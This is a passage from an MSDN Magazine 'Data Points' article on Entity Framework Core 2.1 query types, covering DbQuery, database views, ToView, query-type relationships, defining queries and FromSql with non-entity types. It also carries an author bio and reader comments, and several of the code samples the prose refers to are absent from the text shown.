Querying against database views - Another new feature called “defining queries” - Capturing the results of FromSql queries with non-entity types Vital to query types is letting the DbContext ModelBuilder know that a type should be recognized as a query type. You do that by creating a DbQuery property either in the context or with the ModelBuilder.Query method. Both are new. If you’ve used EF or EF Core at all, you should be familiar with DbSet, the EF class that allows you to query and update entities of a particular type through a DbContext. DbQuery is a cousin to DbSet, wrapping non-entity types and allowing you to execute read-only queries against views and tables. And these types wrapped in a DbQuery are query types. The EF Core convention for a DbQuery is similar to a DbSet in that EF Core expects the name of the DbQuery property to match the name of the database object to which it maps. Two points you should be aware of are that migrations can’t build views for you based on mappings, and EF Core can’t reverse-engineer views (yet). Mapping to and Querying a Database View I’ll use DbQuery for the first example—mapping to a database view and querying from it. This DbQuery presumes there’s a class already defined, as well as a view named AuthorArticleCounts in the database: This alone will allow you to query a database view. Let’s back up, though, to look at the model shown in Figure 1. public class Magazine { public int MagazineId { get; set; } public string Name { get; set; } public string Publisher { get; set; } public List<Article> Articles { get; set; } } public class Article { public int ArticleId { get; set; } public string Title { get; set; } public int MagazineId { get; set; } public DateTime PublishDate { get; set; } public Author Author { get; set; } public int AuthorId { get; set; } } public class Author { public int AuthorId { get; set; } public string Name { get; set; } public List<Article> Articles { get; set; } } I’m using a simple model with three entities to manage publications: Magazine, Article and Author. In my database, in addition to the Magazines, Articles and Authors tables, I have a view called AuthorArticleCounts, defined to return the name and number of articles an author has written: I’ve also created the AuthorArticleCount class that matches the schema of the view results. In the class, I made the property setters private to make it clear that this class is read-only, even though EF Core won’t ever attempt to track or persist data from a query type. With the database view in place and a class designed to consume its results, all I need to map them together is a DbQuery property in my DbContext—the same example I showed earlier: Now EF Core will be happy to work with the AuthorArticleCount class, even though it has no key property, because EF Core understands this to be a query type. You can use it to write and execute queries against the database view. For example, this simple LINQ query: will cause the following SQL to be sent to my SQLite database: The results are a set of AuthorArticleCount objects, as shown in Figure 2. Figure 2 Results of One-to-One Query And the ChangeTracker of the context used to execute the query is totally unaware of these objects. This is a much nicer experience than past EF Core and Entity Framework implementations where database views were treated like tables, their results had to be entities and you had to take care not to accidentally track them with the change tracker. It’s possible to execute queries without predefining a DbQuery in the DbContext class. DbSet allows this, as well, with the Set method of a DbContext instance. For a DbQuery, you can write a query as: Configuring Query-Type Mappings This DbQuery worked easily because everything follows convention. When DbSets and their entities don’t follow EF Core conventions, you use the Fluent API or data annotations to specify the correct mappings in the OnModelCreating method. And you begin by identifying which entity in the model you want to affect using the ModelBuilder’s Entity method. Just as DbSet gained a cousin in DbQuery, the Entity method also has a new cousin: Query. Here’s an example of using the Query method to point the AuthorArticleCounts DbQuery to a view of a different name, using the new ToView method (similar to the ToTable method): The Query<T> method returns a QueryTypeBuilder object. ToView is an extension method. There are a number of methods you can use when refining the query type. QueryTypeBuilder has a subset of EntityTypeBuilder methods: HasAnnotation, HasBaseType, HasOne, HasQueryFilter, IgnoreProperty and UsePropertyAccessMode. There’s a nice explanation about ToView and ToTable highlighted as a Tip in the Query Types documentation that I recommend (bit.ly/2kmQhV8). Query Types in Relationships Notice the HasOne method. It’s possible for a query type to be a dependent (aka “child”) in a one-to-one or one-to-many relationship with an entity, although not with another query type. Also note that query types aren’t nearly as flexible as entities in relationships, which is reasonable in my opinion. And you have to set up the relationships in a particular way. I’ll start with a one-to-one relationship between the Author entity and AuthorArticleCount. The most important rules for implementing this are: - The query type must have a navigation property back to the other end of the relationship. - The entity can’t have a navigation property to the query type. In the latter case, if you were to add an AuthorArticleCount property to Author, the context would think the AuthorArticleCount is an entity and the model builder would fail. I’ve enhanced the model with two changes: First, I modified the AuthorArticleCount to include an Author property: Then I added a one-to-one mapping between Author and AuthorArticleCount: Now I can execute LINQ queries to eager load the Author navigation property, for example: The results are shown in Figure 3. Figure 3 Results of Eager Loading a One-to-One Relationship Between a Query Type and an Entity Query Types in a One-to-Many Relationship A one-to-many relationship also requires that the query type be the dependent end, never the principal (aka parent). To explore this, I created a new view over the Articles table in the database called ArticleView: And I created an ArticleView class: Finally, I specified that ArticleView is a query type and defined its relationship with the Magazine entity, where a Magazine can have many ArticleViews: Now I can execute a query that retrieves graphs of data. I’ll use an Include method again. Remember that there’s no reference to the query type in the Magazine class, so you can’t query for a graph of a magazine with its ArticleViews and see those graphs. You can only navigate from ArticleView to Magazine, so this is the type of query you can perform: Notice that I didn’t create a DbQuery so I’m using the Query method in my query. The API documentation for HasOne, which you’ll find at bit.ly/2Im8UqR, provides more detail about using this method. The New Defining Query Feature Besides ToView, there’s one other new method on QueryTypeBuilder that never existed on EntityTypeBuilder, and that’s ToQuery. ToQuery allows you to define a query directly in the DbContext, and such a query is referred to as a “defining query.” You can write LINQ queries and even use FromSql when composing defining queries. Andrew Peters from the EF team explains that, “One use of ToQuery is for testing with the in-memory provider. If my app is using a database view, I can also define a ToQuery that will be used only if I’m targeting in-memory. In this way I can simulate the database view for testing.” To start, I created the MagazineStatsView class to consume the results of the query: public class MagazineStatsView { public MagazineStatsView(string name, int articleCount, int authorCount) { Name=name; ArticleCount=articleCount; AuthorCount=authorCount; } public string Name { get; private set; } public int ArticleCount { get; private set; } public int AuthorCount{get; private set;} } I then created a defining query in OnModelCreating that queries the Magazine entities, and builds MagazineStatsView objects from the results: I could also create a DbQuery to make my new defining query a little more discoverable, but I wanted you to see that I can still use this without an explicit DbQuery. Here’s a LINQ query for MagazineStatsView. It will always be handled by the defining query: Based on the data I’ve used to seed the database, the results of the query, shown in Figure 4, correctly show two articles and one unique author for MSDN Magazine, and two articles with two unique authors for The New Yorker. Figure 4 Results of Querying with a Defining Query Capture FromSql Results in Non-Entity Types In previous versions of Entity Framework, it was possible to execute raw SQL and capture those results in random types. We are closer to being able to perform this type of query thanks to query types. With EF Core 2.1, the type you want to use to capture the results of raw SQL queries doesn’t have to be an entity, but it still has to be known by the model as a query type. There’s one exception to this, which is that it’s possible (with a lot of limitations) to return anonymous types. Even this limited support can still be useful, so it’s worth being aware of. Here’s a query that returns an anonymous type using FromSql and a raw SQL query: Returning anonymous types by querying entities only works when the projection includes the primary key of the type represented by the DbSet. If I didn’t include AuthorId, a runtime error would complain about AuthorId not being in the projection. Or if I began with context.Magazines.FromSql with the same query I just showed you, the runtime error would complain about MagazineId not being available. A better use of this feature is to predefine a type and make sure the DbContext is aware of that type, either by defining a DbQuery or specifying modelBuilder.Query for the type in OnModelCreating. Then you can use FromSql to query and capture the results. As a somewhat contrived example, or perhaps I should say even more contrived than some of the examples I’ve used already, here’s a new class, Publisher, that’s not an entity or part of my PublicationsContext: It, too, is a read-only class, as I have another application where I maintain Publisher data. I created a DbQuery<Publisher> named Publishers in my context, and now I can use that to execute raw SQL query: Raw SQL can also be a call to execute a stored procedure. As long as the schema of the results match the type (in this case, Publisher), you can do that, even passing in parameters. Putting the Polish on EF Core If you’ve been holding off on using EF Core until it was production-ready, the time has finally come. EF Core 2.0 made a great leap in features and functionality, and version 2.1 now includes features that put a real polish on the product. The wait for features from EF6 to appear in EF Core has been due in part to the fact that the EF team has not just copied the old implementations but found smarter, more functional implementations. Query types are a great example of this, compared to the way that views and raw SQL were supported in earlier versions of Entity Framework. Be sure to check out the other new features in EF Core 2.1 by reading the “New Features in EF Core 2.1” section of the EF Core documentation at bit.ly/2IhyHQR.rew Peters Andrew Peters is a principal engineer on the Entity Framework team. During his 9 years on the team, Andrew has worked on, among other things, LINQ, Code First, and Migrations, and was one of the architecture leads for EF Core. In his spare time Andrew enjoys gaming, guitar, cooking and spending time with his young family. Receive the MSDN Flash e-mail newsletter every other week, with news and information personalized to your interests and areas of focus. Data Points - EF Core 2.1 Query Types Thanks a bunch for sharing the solution, gdonovan! :)Julie Lerman, Author of Programming Entity Framework, MVP Jan 30, 2019 Data Points - EF Core 2.1 Query Types I encountered an issue after changing a "fake" entity that was based on a view from DbSet<T> to DbQuery<T>. I was getting the following error: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---... Jan 30, 2019 Data Points - EF Core 2.1 Query Types Hi Rajesh, Yes, unfortunately that is a constraint...EF Core expects all of those properties to be available. Hopefully that will get easier in some upcoming release. Julie Julie Lerman, Author of Programming Entity Framework, MVP Thank you Lerman! Sep 13, 2018 Data Points - EF Core 2.1 Query Types Hi Rajesh, Yes, unfortunately that is a constraint...EF Core expects all of those properties to be available. Hopefully that will get easier in some upcoming release. JulieJulie Lerman, Author of Programming Entity Framework, MVP Aug 11, 2018 Data Points - EF Core 2.1 Query Types I really don't know how to solve that one without spending some time doing some research. Perhaps someone will come along who has already sorted this one out. Sorry!Julie Lerman, Author of Programming Entity Framework, MVP Aug 11, 2018 Data Points - EF Core 2.1 Query Types Hi danbo0001 I haven't tried that but based on this github issue, the ability to use fromsql to capture multiple resultsets seems to be on a backlog so assumign that extends to query types: If... Aug 11, 2018 Data Points - EF Core 2.1 Query Types Hi Lerman, While I use DbQuery, should the columns in the select query match exactly same as the model/entity? IEnumerable test = _context.FewUserColumns.FromSql(@"select id, last_name, from user where user_id = @userId", param).ToListAsync(); Belo... Jul 31, 2018 Data Points - EF Core 2.1 Query Types Also found this change useful for the same reasons as above. Have a query though... How can I manage mapping the results of a stored proc without it having to return all the properties of the class it maps to? I have a general stored proc that can r... Jul 26, 2018 Data Points - EF Core 2.1 Query Types Hi, I haven't messed about with the code yet so am not completely sure of all the possibilities query types have, but it looks like now I can map the results of a stored procedure into a POCO using the technique in the third capability demonstrated (... Jul 9, 2018 Data Points - EF Core 2.1 Query Types Julie Lerman delves into the new EF Core 2.1 Query Type feature, which lets you more easily query a database without needing true entities with key properties to consume the results. Read this article in the July 2018 issue of MSDN Magazine Jul 2, 2018
https://msdn.microsoft.com/en-us/magazine/mt847184
CC-MAIN-2019-22
refinedweb
2,946
58.62
- Advertisement sphen_leeMember Content Count59 Joined Last visited Community Reputation199 Neutral About sphen_lee - RankMember [Java] Cannot find symbol. sphen_lee replied to monp's topic in For Beginners's ForumYour GuiCore2 class should implement Runnable - Thread's constructor takes an instance of Runnable as its first argument. Runnable declares the "public void run" method which you have already implemented. Game Engine - How does it work? sphen_lee replied to FaiMK's topic in For Beginners's ForumQuote:Original post by FaiMK yes; personally i feel that i need to make the "engine" first. idk why, but thats what my mind is set on, and making one will give me a feeling of acomplishment in general game development No it won't - unless you write a game using your engine you won't have achieved anything. As everyone has been saying, you need to write a game first. When you write your second game you can reuse bits from the first game (refactor) and eventually these bits will become an engine. How to store game information? sphen_lee replied to Hannesnisula's topic in General and Gameplay ProgrammingHave you considered using a package file such as zip? This means you can put everything in a single huge file, but still treat it internally as lots of small files. C++ - Debug Assertion Error when Class isn't declared on the heap sphen_lee replied to KieranW's topic in For Beginners's ForumThe destructor for Mystic deletes m_pLevel, but so does the destructor Combatant, this causes a double delete. Since Mystic inherits Combatant the compiler automatically knows to call Combatant's destructor after calling Mystic's destructor. I think the reason using new fixed this is that you never deleted the object so it was never destructed. There may be other problems, but this was the most obvious one. Several general hints too (please don't take offence, i'm trying to help you write better code): * Use std::string. It's a lot simpler than using char* and a lot safer. * I'm not sure if you added those comments just for posting here, but they really are unnecessary. It is obvious from the method name GetName what the method will do. You only need a comment if what the method does is not obvious. * Also consider using std::vector instead of your array of Effects [resolved] return values of a function sphen_lee replied to slayemin's topic in For Beginners's ForumYou may want to do some research into the "rule of three". Understanding this rule will help explain what is happening in your code. The C++ FAQ Lite is also a good source of information. Strange problem with strings and "&" sphen_lee replied to CodaKiller's topic in General and Gameplay ProgrammingIt sounds as if you are using the Win32 GUI system where an & tells Windows that the next letter should be used as a hot key (hence the underline). Using && suppresses this and gives you a normal &. [SDL] Creating a child window... sphen_lee replied to nooblet's topic in For Beginners's ForumThe simple answer is no. SDL does not provide a GUI system. You can however create a window by placing the content of the window into a surface, and then blitting it to the screen (with some kind of border), which is what net-ninja was saying. It would be easier to just use a GUI toolkit that integrates with SDL (I know of GuiChan, but google will find more). Version control and modules sphen_lee replied to Numsgil's topic in General and Gameplay ProgrammingIf you are concerned about the ease of merging, perhaps you should try a version control system like Mercurial, Bazzar or Monotone that can automatically keep track of merges. This way you don't need to worry about branching the entire project. Personally I use Mercurial and find it very powerful. std namespace not found. sphen_lee replied to Enerjak's topic in General and Gameplay ProgrammingThese are the C versions of the standard library, you should use the Cpp versions instead like this: #include <cstdio> #include <tchar.h> // not sure if there is a Cpp version of this header #include <cstdlib> #include <cstring> [java] SwingUtilities.invokeLater sphen_lee replied to natebuckley's topic in General and Gameplay ProgrammingThe Swing Library is not thread safe, which means that only one thread may create or modify swing objects. This is the AWT Event thread. Whenever Swing calls a listener method, it is executed on the AWT Event thread, so you may modify Swing objects here. InvokeLater causes Swing to run a given runnable when it can on the AWT Event thread. You should use invokeLater any time you want to modify a Swing object outside of a listener method. is this right? sphen_lee replied to y2jsave's topic in For Beginners's ForumIt depends on what you mean by 'right'. The syntax is right, and c_str does return char*, however what do you want to do with charStr? Operator Overloading sphen_lee replied to littlekid's topic in For Beginners's ForumNo, these are typecast operators. Since the return value of a typecast must be the type you are casting to, there is no need to specify the return type separately. "Interface& operator*()" is called for "*anObject", while "operator Interface&()" is called for "(Interface&)anObject". You can also do this with primitives: "operator int()", will be called for "(int)anObject". What System Control Version do you use in your games/projects? sphen_lee replied to riruilo's topic in General and Gameplay ProgrammingI user mercurial for personal projects, I switched from SVN when I found myself doing large changes all in a single commit just to avoid merging. Mercurial make merging so much easier. At work we use aegis. Although it enforces code reviews and regression testing, as a revision control system it is very lacking. I don't recommend aegis for any project. Deleting an Object that is being used sphen_lee replied to aeroz's topic in General and Gameplay ProgrammingQuote:Thus "this" becomes invalid. Not just its value, but the expression itself, the whole concept. I disagree... The standard doesn't say that. Whether 'this' is invalid or not is undefined. I know that I'm splitting hairs over the difference between 'undefined' and 'invalid', but when referring to standards it's very important to know the difference. However I agree that you shouldn't do anything involving 'this' after you delete it, as it is undefined behaviour (but not invalid :P ). Deleting an Object that is being used sphen_lee replied to aeroz's topic in General and Gameplay ProgrammingQuote:Original post by janta Imagine for instance an implementation of C++ which, whenever an object of N bytes is instanciated, allocates N+4 bytes of memory, and stores the address of the object in the extra 4 bytes, to be used as the value of 'this' in all member function of that object. struct Foo { void funct() { delete this; assert(this != 0); } }; While that code is going to be ok because on most implementations of c++ 'this' is nothing but a stack variable which will live until the function returns, if the implementation is such as what I described, then 'assert(this != 0)' is dereferencing a freed pointer and results in undefined behaviour. But if 'this' were stored in the memory pointed to by 'this' how would the compiler access it? 'this' cannot be be stored in allocated memory, because you would then need a pointer to be able to find 'this'. After you delete 'this' it cannot go out of scope, because it must remain in scope for the duration of the method call, just like any other parameter, however its value is now an invalid pointer. Only dereferencing it (or actions that are equivalent: accessing a member variable, calling a virtual function to name a few) are undefined. - Advertisement
https://www.gamedev.net/profile/110452-sphen_lee/
CC-MAIN-2018-51
refinedweb
1,310
61.16
On 12 Nov 2007, at 04:52, Adam Atlas wrote: > Generator-based coroutines are great, but I've thought of some > interesting cases where it would help to be able to sort of yield to > an outer scope (beyond the parent scope) while being able to resume. > I'm thinking this would make the most sense as a kind of exception, > with an added "resume" method which would resume execution at the > point at which the exception was raised. (They'd also have a throw() > method for continuing execution but raising an exception, and a > close() method, as with generators in Python >= 2.5.) > > Here's an example to demonstrate what I'm talking about: > > def a(): > print 'blah' > p = pause 7 # like using `yield` as an expression > # but it raises "PauseException" (or whatever) > print p > return (p, 123) > > def b(): > return a() > > try: > print b() > except PauseException, e: > print e.value > e.reusme(3) > > #prints: > # blah > # 7 > # 3 > # (3, 123) It seems to me it has the full power of call/cc & co. It would allow to turn the clock back to any previous state of an execution stack (unless I misunderstand what you mean by 'pause'). Here is a simple example: def getstate(): pause return try: getstate() except PauseException, here: pass # code line 1 # code line 2 ... here.resume() # This line takes us back to code line 1 So the whole stack should be saved each time a pause happens (unless a stackless approach is adopted). -- Arnaud
https://mail.python.org/pipermail/python-ideas/2007-November/001148.html
CC-MAIN-2017-04
refinedweb
249
58.45
Prometheus supports basic authentication (aka "basic auth") for connections to the Prometheus expression browser and HTTP API. Let's say that you want to require a username and password from all users accessing the Prometheus instance. For this example, use admin as the username and choose any password you'd like. First, generate a bcrypt hash of the password. To generate a hashed password, we will use python3-bcrypt. Let's install it by running apt install python3-bcrypt, assuming you are running a debian-like distribution. Other alternatives exist to generate hashed passwords; for testing you can also use bcrypt generators on the web. Here is a python script which uses python3-bcrypt to prompt for a password and hash it: import getpass import bcrypt password = getpass.getpass("password: ") hashed_password = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()) print(hashed_password.decode()) Save that script as gen-pass.py and run it: $ python3 gen-pass.py That should prompt you for a password: password: $2b$12$hNf2lSsxfm0.i4a.1kVpSOVyBCfIB51VRjgBUyv6kdnyTlgWj81Ay In this example, I used "test" as password. Save that password somewhere, we will use it in the next steps! Let's create a web.yml file (documentation), with the following content: basic_auth_users: admin: $2b$12$hNf2lSsxfm0.i4a.1kVpSOVyBCfIB51VRjgBUyv6kdnyTlgWj81Ay You can validate that file with promtool check web-config web.yml $ promtool check web-config web.yml web.yml SUCCESS You can add multiple users to the file. You can launch prometheus with the web configuration file as follows: $ prometheus --web.config.file=web.yml You can use cURL to interact with your setup. Try this request: curl --head This will return a 401 Unauthorized response because you've failed to supply a valid username and password. a hashed password in a web.yml file, launched prometheus with the parameter required to use the credentials in that file to authenticate users accessing Prometheus' HTTP endpoints. This documentation is open-source. Please help improve it by filing issues or pull requests.
https://prometheus.io/docs/guides/basic-auth/
CC-MAIN-2021-49
refinedweb
329
60.31
How to make a stopwatch in C++/Qt Hello everyone, I'm new to this forum and Qt and C++ in general. So I don't have much programming experience. I'm trying to make a little Qt application (on Linux, for Linux, Fedora specifically) that can record times. And save them in XML files. Each person will have a separate XML file for his times. Also I want to build in an option to read the XML files and view the times of the person later on. Well I think the first step is making a simple stopwatch application. Does anyone know how to? I have already read articles about QTimer and Ctime. But I just don't understand them. Also it would be nice if someone could tell me which XML library (for reading and writing) is the best for a real beginner. I already been searching with Google. But I just couldn't choose. There are so many libraries. Library must be open source. Everyone tells me to use a different one. Which is the best? It doesn't have to be really fast as I will only be reading little XML files. Kind Regards, Superpelican If you don't understand article about QTimer you really should read more about Qt and/or C++ (do you understand signals and slots, basics of OOP?). There is a module in Qt for Xml so it's unlikely that you will need some other library for your project. Thanks p-himik. I do understand signal and slots, I think. A signal is given when an particulary event occurs, for example when a button is pressed and a slot is a piece of code that will be executed when that signal which it' s connected to is given/fired. Is that true? Well I don't think I understand Object Oriented Programming. And would you like to tell me what' s the name of that Qt/XML module, please? Kind Regards, Superpelican EDIT: In the meantime I have found this and with that information I have written this code: [code] #include <time.h> #include <stdio.h> int totalTime=0; int main { time_t start,end; if(std::cin >> "start") { time(&start); } if(std::cin >> "stop") { time(&end); } totalTime = end-start; std::cout << totalTime } [/code] But I GCC gave these errors: [compiler output] /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:6:5: warning: extended initializer lists only available with -std=c++0x or -std=gnu++0x [enabled by default] /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:7:8: error: expected primary-expression before ‘start’ /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:7:8: error: expected ‘}’ before ‘start’ /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:7:8: error: expected ‘,’ or ‘;’ before ‘start’ /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:9:1: error: expected unqualified-id before ‘if’ /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:12:1: error: expected unqualified-id before ‘if’ /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:15:1: error: ‘totalTime’ does not name a type /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:16:1: error: ‘cout’ in namespace ‘std’ does not name a type /home/Superpelican/Documents/Programming_Projects/stopwatch.cpp:17:1: error: expected declaration before ‘}’ token [/compiler output] Superpelican, you really have to read some books about C++ because your code shows significant lack of knowledge in C++ (and C). Thanks, I'm going to buy a good C++ book for beginners. Consider these also :)
https://forum.qt.io/topic/12544/how-to-make-a-stopwatch-in-c-qt
CC-MAIN-2017-47
refinedweb
567
50.73
While the NIS+ scripts reduce the effort required to create an NIS+ namespace, the scripts do not completely replace the individual NIS+ commands. The scripts only implement a subset of NIS+ features. If you are unfamiliar with NIS+, you may want to refer back to this section after you have created the sample NIS+ namespace. The nisserver script only sets up an NIS+ server with the standard default tables and permissions (authorizations). This script does not: Set special permissions for tables and directories Add extra NIS+ principals to the NIS+ admin group See Chapter 4, Configuring NIS+ With Scripts for how to use the nisgrpadm command instead of one of the NIS+ scripts to add extra NIS+ principals to the NIS+ admin group. Run an NIS+ server at any security level other than level 2 Start the rpc.nisd daemon on remote servers, which is required to complete server installation See Chapter 4, Configuring NIS+ With Scripts for how to use the rpc.nisd command instead of one of the NIS+ scripts to change NIS+ client machines into non-root servers. The nisclient script does not set up an NIS+ client to resolve host names using DNS. You need to explicitly set DNS for clients that require this option.
https://docs.oracle.com/cd/E19253-01/816-4558/c1script-14324/index.html
CC-MAIN-2019-13
refinedweb
209
59.03
Ex-girlfriend’s wedding, python cracked the WIFI at the wedding site and changed the name to Hi everyone, I’m Lex who likes to bully Superman. Areas of expertise: python development, network security penetration, Windows domain control Exchange architecture Today’s focus: ① python violently won the WiFi password; ② python won the router management page The code is full of dry goods, it is recommended to collect + practice! ! ! If you have any questions or needs, please leave a message~~ The story last time is like this The encrypted "520 Happiness.pdf" sent by my ex-girlfriend, I opened it with python, but found it. . . Things are like this Brother still came to the wedding scene Sit down at a table with a back to the corner The ears are filled with inaudible noises of happiness The twinkling lights stung eyes that were a little red from insomnia last night An inexplicable feeling rushes straight up Silently, took out the notebook python development tools The name of the on-site WiFi is : "First Hall of Wedding" Python cracking WiFi password 1. Install pywifi and comtypes modules pip install pywifi pip install comtypes PS C:\Users\pacer> pip install pywifi Collecting pywifi Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)Installing collected packages: pywifiSuccessfully installed pywifi-1.1.12 PS C:\Users\pacer> pip install comtypes Collecting comtypes Downloading comtypes-1.1.10.tar.gz (145 kB) |████████████████████████████████| 145 kB 12 kB/sUsing legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.Installing collected packages: comtypes Running setup.py install for comtypes ... doneSuccessfully installed comtypes-1.1.10PS C:\Users\pacer> 2. Generate 8-digit password Assuming that the WiFi password is 8 digits pure numbers for i in range(100000000): #生成8位数密码 pwd=str(i).zfill(8) print(pwd) 3. Complete code Use the pywifi module to configure the wifi name and password to try. import timeimport pywififrom pywifi import const for i in range(100000000): #生成8位数密码 pwd=str(i).zfill(8) print(pwd) profile = pywifi.Profile() profile.ssid ='婚礼第一大厅' #wifi名称 profile.auth = const.AUTH_ALG_OPEN #验证方式 profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式 profile.cipher = const.CIPHER_TYPE_CCMP #加密类型 profile.key=pwd wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] wedding = iface.add_network_profile(profile) #尝试连接 iface.connect(wedding) time.sleep(3) if iface.status() == const.IFACE_CONNECTED: print('连接成功') break else: print('密码不对,连接失败,好气哦~~') connection succeeded After a while, the connection is successful. After getting the wifi password Take down the router 1. Router management address The login address of the router management page is generally 192.168.0.1 or 192.168.1.1 to access the router link address. 2. Router login submission analysis Through the page submission password test, it was found that the password was submitted in plain text to the server for verification. As shown below 3. Circular submission of requests The router login password is cyclically submitted, and the router login password is cyclically submitted through the tool post. Log in successfully, take down the router Modify the name of the WIFI Log in to the router interface and modify the WIFI name of the "First Wedding Hall" End of story Everything is over, stand up and take a last look Under the lights that complement each other In the big picture, the face with a smile holding flowers in his hand The WiFi name is changed, goodbye~ ------------------THE END------------------------- CSDN official learning recommendation ↓ ↓ ↓ The Python full-stack knowledge graph produced by CSDN is too strong, and I recommend it to everyone! Recommended reading Python actual combat [Python actual combat] The encrypted "520 Happiness.pdf" sent by my ex-girlfriend, I cracked it with python, but found it. . . [Python actual combat] Last night, I used python to take a selfie with my sister P next door, and then found ... [Python actual combat] Girlfriend works overtime in the middle of the night and sends a selfie. Python boyfriend discovers the amazing secret with 30 lines of code [Python actual combat] python you TM is too skinny-only 30 lines of code can record every move of the keyboard [ Python actual combat] Forgot the password of the goddess album, I only wrote 20 lines of code in Python~~~ pygame series articles Let's learn pygame together. 30 cases of game development (2)-tower defense game Let's learn pygame together. 30 cases of game development (4)-Tetris game Let's learn pygame together. 30 cases of game development (5)-Xiaoxiaole game
https://ideras.com/ex-girlfriends-wedding-python-cracked-the-wifi-at-the-wedding-site-and-changed-the-name-to/
CC-MAIN-2021-25
refinedweb
747
56.66
Command design pattern is one of the widely known design pattern and it falls under the Behavioral Design Pattern (part of Gang of Four). As the name suggests it is related to actions and events in an application. Problem statement: Imagine a scenario where we have a web page will multiple menus in it. One way of writing this code is to have multiple if else condition and executing the actions on each click of the menu. private void getAction(String action){ if(action.equalsIgnoreCase('New')){ //Create new file } else if(action.equalsIgnoreCase('Open')){ //Open existing file } if(action.equalsIgnoreCase('Print')){ //Print the file } if(action.equalsIgnoreCase('Exit')){ //get out of the application } } We have to execute the actions based on the action string. However the above code is having too many if conditions and is not readable if it extends further. Intent: - The requestor of the action needs to be decoupled from the object that carries out this action. - Allow encapsulation of the request as an object. Note this line as this is very important concept for Command Pattern. - Allow storage of the requests in the queue i.e. allows you to store a list of actions that you can execute later. Solution: To resolve the above problem the Command pattern is here to rescue. As mentioned above the command pattern moves the above action to objects through encapsulation. These objects when executed it executes the command. Here every command is an object. So we will have to create individual classes for each of the menu actions like NewClass, OpenClass, PrintClass, ExitClass. And all these classes inherit from the Parent interface which is the Command interface. This interface (Command interface) abstracts/wraps all the child action classes. Now we introduce an Invoker class whose main job is to map the action with the classes which have that action. It basically holds the action and get the command to execute a request by calling the execute() method. Oops!! We missed another stakeholder here. It is the Receiver class. The receiver class has the knowledge of what to do to carry out an operation. The receiver has the knowledge of what to do when the action is performed. Structure: Following are the participants of the Command Design pattern: - Command – This is an interface for executing an operation. - ConcreteCommand – This class extends the Command interface and implements the execute method. This class creates a binding between the action and the receiver. - Client – This class creates the ConcreteCommand class and associates it with the receiver. - Invoker – This class asks the command to carry out the request. - Receiver – This class knows to perform the operation. Example: - Define a Command interface with a method signature like execute(). In the above example ActionListenerCommand is the command interface having a single execute() method. - Create one or more derived classes that encapsulate some subset of the following: a “receiver” object, the method to invoke, the arguments to pass. In the above example ActionOpen and ActionSave are the Concrete command classes which creates a binding between the receiver and the action. ActionOpen class calls the receiver(in this case the Document class) class’s action method inside the execute(). Thus ordering the receiver class what needs to be done. - Instantiate a Command object for each deferred execution request. - Pass the Command object from the creator to the invoker. - The invoker decides when to execute(). - The client instantiates the Receiver object(Document) and the Command objects and allows the invoker to call the command. Code Example: Command interface: public interface ActionListenerCommand { public void execute(); } Receiver class: public class Document { public void Open(){ System.out.println('Document Opened'); } public void Save(){ System.out.println('Document Saved'); } } Concrete Command: public class ActionOpen implements ActionListenerCommand { private Document adoc; public ActionOpen(Document doc) { this.adoc = doc; } @Override public void execute() { adoc.Open(); } } Invoker class: public class MenuOptions { private ActionListenerCommand openCommand; private ActionListenerCommand saveCommand; public MenuOptions(ActionListenerCommand open, ActionListenerCommand save) { this.openCommand = open; this.saveCommand = save; } public void clickOpen(){ openCommand.execute(); } public void clickSave(){ saveCommand.execute(); } } Client class: public class Client { public static void main(String[] args) { Document doc = new Document(); ActionListenerCommand clickOpen = new ActionOpen(doc); ActionListenerCommand clickSave = new ActionSave(doc); MenuOptions menu = new MenuOptions(clickOpen, clickSave); menu.clickOpen(); menu.clickSave(); } } Benefits: Command pattern helps to decouple the invoker and the receiver. Receiver is the one which knows how to perform an action. A command should be able to implement undo and redo operations. This pattern helps in terms of extensibility as we can add new command without changing existing code. Drawback: The main disadvantage of the Command pattern is the increase in the number of classes for each individual command. These items could have been also done through method implementation. However the command pattern classes are more readable than creating multiple methods using if else condition. Interesting points: - Implementations of java.lang.Runnable and javax.swing.Action follows command design pattern. - Command can use Memento to maintain the state required for an undo operation. Download Sample Code: Reference: By your Command from our JCG partner Mainak Goswami at the Idiotechie blog. This is a really great article. Thanks. Thanks David. Okay, I have one question. So does the command have the decision making capability? Like for example, if we have a breakout game and ball, paddle and count up timer that ticks with the game, and I have an update method specific to each of the classes I just mentioned, then would my concrete command class be for UpdateCommand or will it have multiple commands like, OnCollisionWithWallCommand, OnGameOverCommand, OnGameStartCommand, OnGamePauseCommand, etc.?? I think the command shud not have multiple flows, it shud only have one flow which is also told by the client. Please let me know if I’m correct. Best article that I read on command pattern. Thanks! Many thanks Srini.
http://www.javacodegeeks.com/2012/11/by-your-command-command-design-pattern.html/comment-page-1/
CC-MAIN-2014-42
refinedweb
969
50.12
NAME AnyEvent::XMPP::Writer - "XML" writer for XMPP SYNOPSIS use AnyEvent::XMPP::Writer; ... DESCRIPTION.". METHODS - new (%args) This methods takes following arguments: - write_cb The callback that is called when a XML stanza was completely written and is ready for transfer. The first argument of the callback will be the character data to send to the socket. And calls init. - init (Re)initializes the writer. - flush () This method flushes the internal write buffer and will invoke the write_cbcallback. (see also new ()above) - send_init_stream ($language, $domain, $namespace) This method will generate a XMPP stream header. $domainhas to be the domain of the server (or endpoint) we want to connect to. $namespaceis the namespace URI or the tag (from AnyEvent::XMPP::Namespaces) for the stream namespace. (This is used by AnyEvent::XMPP::Component to connect as component to a server). $namespacecan also be undefined, in this case the clientnamespace will be used. - send_whitespace_ping This method sends a single space to the server. - send_handshake ($streamid, $secret) This method sends a component handshake. Please note that $secretmust be XML escaped! - send_end_of_stream Sends end of the stream. - send_sasl_auth ($mechanisms, $user, $hostname, $pass) This methods sends the start of a SASL authentication. $mechanismsis an array reference, containing the mechanism names that are to be tried. - send_sasl_response ($challenge) This method generated the SASL authentication response to a 